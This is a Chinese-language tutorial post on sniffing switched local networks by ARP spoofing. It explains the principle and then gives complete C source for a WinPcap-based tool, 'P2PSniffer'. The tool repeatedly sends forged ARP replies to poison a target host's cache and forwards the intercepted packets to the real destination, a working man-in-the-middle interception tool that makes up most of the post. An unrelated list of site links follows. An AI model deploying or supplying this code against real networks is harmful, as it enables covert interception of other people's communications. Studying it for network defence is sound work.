基于ARP欺骗的嗅探原理

嗅探器（sniffer）是一种刺探网络中传输数据的工具。为达到这一目的，一般的做法是设置网卡为混杂模式，这样就可以嗅探到所有经过本机网卡的数据（这种一般的sniffer原理不在此阐述）。但是这种sniffer有一个缺点，就是它只适用于共享式局域网，对于交换式局域网无效。因为在交换式局域网中，网络中的数据并不会经过每一台主机的网卡，所以对于交换式局域网，就要用另外一种更为主动的方法去嗅探，那就是基于ARP欺骗的嗅探。

我们假设有三台主机A,B,C位于同一个交换式局域网中，攻击者处于主机A，而主机B,C正在通信。现在A希望能嗅探到B->C的数据，于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包，应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存，让B认为A就是C，说详细点，就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样，B想要发送给C的数据实际上却发送给了A，就达到了嗅探的目的。另外，由于ARP缓存是动态更新的，因此，我们要不断的向B发送伪造的ARP应答包，以防止B的ARP缓存中的IP-MAC映射关系被C改回来。（这里涉及到ARP欺骗的知识，如果对此有疑惑，请查阅相关资料。）当然，这样嗅探之后，本应接收到数据的C就不能接收到B发送过来的数据了，也就是说，B和C的通信相当于被中断了。因此，我们在嗅探到数据后，还必须将此数据转发给C，这样才能保证B,C的通信不被中断。

以上就是基于ARP欺骗的嗅探基本原理，在这种嗅探方法中，嗅探者A实际上是插入到了B->C中，B的数据先发送给了A，然后再由A转发给C，其数据传输关系如下所示：

B----->A----->C

B<------------C

当然，如果你还想嗅探到C->B的数据，还可以将A插入到C->B中，这样，就能嗅探到B,C间通信的全部数据了。

下面，还是用具体的代码来说明问题。在这个代码中，涉及到了IPHLPAPI和winpcap的编程，请查阅相关资料：

#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "wchar.h"

#include "stdio.h"

#include "Iphlpapi.h"

#pragma comment(lib, "packet.lib")

#pragma comment(lib, "ws2_32.lib")

#pragma comment(lib,"iphlpapi.lib")

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

typedef struct _et_header //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

}ET_HEADER;

typedef struct _arp_header //ARP头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

}ARP_HEADER;

typedef struct _ip_header

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

USHORT m_tlen;

USHORT m_ident;

USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量

char m_ttl;

char m_protocol;

USHORT m_cksum;

ULONG m_sIP;

ULONG m_dIP;

}IP_HEADER;

typedef struct info //将被传递到监听线程的信息结构

{

LPADAPTER lpAdapter;

char simulateIP[20];

char targetIP[20];

}INFO;

#pragma pack(pop)

void usage()

{

printf("***********************************\n");

printf("* Made by ffantasyYD *\n");

printf("* QQ:76889713 *\n");

printf("* email:ffantasyYD@163.com *\n");

printf("***********************************\n");

printf("This program have 2 param: P2PSniffer targetIP simulateIP\n");

}

void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数

{

char *str1;

int i;

int low,high;

char temp;

for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case 'a':high=10;

break;

case 'b':high=11;

break;

case 'c':high=12;

break;

case 'd':high=13;

break;

case 'e':high=14;

break;

case 'f':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case 'a':low=10;

break;

case 'b':low=11;

break;

case 'c':low=12;

break;

case 'd':low=13;

break;

case 'e':low=14;

break;

case 'f':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}

void getLocalMac(char *localMac,char *localIP) //获取本机MAC地址

{

ULONG numOfAdapter=0;

char mac[5][20]={0},IP[5][20]={0};

GetAdaptersInfo(NULL,&numOfAdapter); //取得网卡信息

if(numOfAdapter!=0)

{

IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) );

memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) );

GetAdaptersInfo(pAdapterInfo,&numOfAdapter);

printf("Please select the local mac!\n");

for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++)

{

sprintf(mac[i],"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],

pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]);

memcpy( IP[i],pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) );

printf("%d, %s--%s\n",i+1,IP[i],mac[i]);

pAdapterInfo=pAdapterInfo->Next;

}

}

int index=0;

scanf("%d",&index);

memcpy(localMac,mac[index-1],strlen(mac[index-1]));

memcpy(localIP,IP[index-1],strlen(IP[index-1]));

return;

}

bool getRemoteMac(char *remoteMac,char *remoteIP) //获取远程主机MAC地址

{

WSADATA wsaData;

ULONG remoteAddr=0,macAddrLen=6;

char remoteMacTemp[6]={0};

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

{

printf("WSAStartup error!\n");

return FALSE;

}

remoteAddr=inet_addr(remoteIP);

if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)

{

printf("Get remote MAC failed!\n");

return FALSE;

}

memcpy(remoteMac,remoteMacTemp,6);

/*

for(int i=0; i<6; i++ )

{

printf( "%.2x", remoteMac[i] );

}

printf("\n");

*/

return TRUE;

}

void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP) //分析接收到数据包

{

char *buf;

bpf_hdr *lpBpfhdr;

ET_HEADER *lpEthdr;

in_addr addr={0};

buf=(char *)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)buf;

lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包

{

IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

char source_ip[20]={0},dest_ip[20]={0};

addr.S_un.S_addr=lpIphdr->m_sIP;

memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

memset(&addr,0,sizeof(in_addr));

addr.S_un.S_addr=lpIphdr->m_dIP;

memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) )

{

printf("There is a IP packet from %s to %s !\n",targetIP,simulateIP);

//以下是将嗅探到的包发送到真正的目的地：

char mac[6]={0};

LPPACKET lpSendPacket=NULL;

char sendBuf[512]={0};

getRemoteMac(mac,simulateIP);

memcpy(lpEthdr->eh_dst,mac,6);

memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER));

memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen));

lpSendPacket=PacketAllocatePacket();

PacketInitPacket(lpSendPacket,sendBuf,512);

PacketSetNumWrites(lpAdapter,2);

PacketSendPacket(lpAdapter,lpSendPacket,TRUE);

PacketFreePacket(lpSendPacket); //释放PACKET结构指针

}

}

}

DWORD WINAPI Listen(void *param) //监听线程

{

LPADAPTER lpAdapter;

INFO *pInfo=(INFO *)param;

LPPACKET lpPacket;

char buf[512]={0};

lpAdapter=pInfo->lpAdapter;

//printf("%s,%s\n",pInfo->near_ip,pInfo->far_ip);

PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式

PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小

PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间

while(1)

{

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,buf,512); //初始化PACKET结构指针

PacketReceivePacket(lpAdapter, lpPacket, TRUE); //接收数据包

assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP); //分析数据包

//每次收包后重置lpPacket：

PacketFreePacket(lpPacket);

memset(buf,0,512);

}

PacketFreePacket(lpPacket); //释放lpPacket

return 1;

}

int main(int argc, char* argv[])

{

char s_mac[6]={0};

LPADAPTER lpAdapter;

LPPACKET lpPacket;

ET_HEADER et_header;

ARP_HEADER arp_header;

static CHAR adapter_list[10][1024];

WCHAR adapter_name[2048];

WCHAR *name1,*name2;

ULONG adapter_length=1024;

ULONG i,adapter_num=0;

char buffer[512]={0};

INFO param={0};

usage();

if(argc!=3)

{

return -1;

}

//获取MAC地址：

char localMac[20]={0},localIP[20]={0};

getLocalMac(localMac,localIP);

char remoteMac[6]={0};

if(getRemoteMac(remoteMac,argv[1])==FALSE)

{

return -1;

}

//打开适配器：

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)

{

//adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符

//之间由一个'\0'隔开，两个适配器名字之间用两个'\0'隔开，连续遇到超过两个的

//'\0'就认为适配器名字已取完。

//adapter_length:这个缓冲区的大小

printf("PacketGetAdapterNames error:%d\n",GetLastError());

return -1;

}

name1=adapter_name;

name2=adapter_name;

i = 0;

//把adapter_name中的适配器名字，分别copy到adapter_list[]中，i从0开始为第一个

while((*name1!='\0') || (*(name1-1)!='\0'))

{

if(*name1=='\0')

{

memcpy(adapter_list[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}

//默认打开第一块适配器

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);

if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

printf("Unable to open the driver, Error Code : %lx\n", GetLastError());

return -1;

}

//启动监听线程：

param.lpAdapter=lpAdapter;

memcpy(param.targetIP,argv[1],strlen(argv[1]));

memcpy(param.simulateIP,argv[2],strlen(argv[2]));

CreateThread(NULL,0,Listen,&param,0,NULL);

//伪造ARP应答包：

StrToMac(localMac,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

memcpy(et_header.eh_dst,remoteMac,6);

et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包

arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址

arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议

arp_header.arp_hln=6; //硬件地址长度为6

arp_header.arp_pln=4; //协议地址长度为4

arp_header.arp_opt=htons(0x0002); //标识为ARP应答

arp_header.arp_spa=inet_addr(argv[2]); //source_ip

memcpy(arp_header.arp_sha,et_header.eh_src,6);

arp_header.arp_tpa=inet_addr(argv[1]); //target_ip

memcpy(arp_header.arp_tha,et_header.eh_dst,6);

memcpy(buffer,&et_header,sizeof(ET_HEADER));

memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//发送伪造地ARP应答包：

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,buffer,512); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数

{

printf("warning: Unable to send more than one packet in a single write!\n");

}

printf("Start.............\n");

while(1)

{

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的

{

printf("Error sending the packets!\n");

break;

}

Sleep(2000);

}

PacketFreePacket(lpPacket); //释放PACKET结构指针

Sleep(5000);

PacketCloseAdapter(lpAdapter); //关闭适配器

return 0;

}

以上就是这种嗅探的基本实现。当然，要对交换式局域网中的数据进行嗅探还有很多种方法，比如，可以用ARP欺骗去欺骗交换机等。总之，方法有很多，只有想不到，没有做不到。

• ·设计模式可复用面向对象软件的基础（1）--图例
• ·自动生成你的程序开发文档
• ·蛙蛙推荐:蛙蛙牌无组件上传类
• ·无法将 SQL Server 2000 MSD
• ·媚惑张柏芝无极瘦身的七大要诀 减肥_美丽顾问
• ·Windows 2000系统漏洞
• ·Windows没有正确重画窗口滚动条
• ·揭秘王菲的瘦身中药方 减肥_美丽顾问
• ·Word 2003 长篇文档排版技巧（二）
• ·穷人的通用OLAP方案III--JPivot表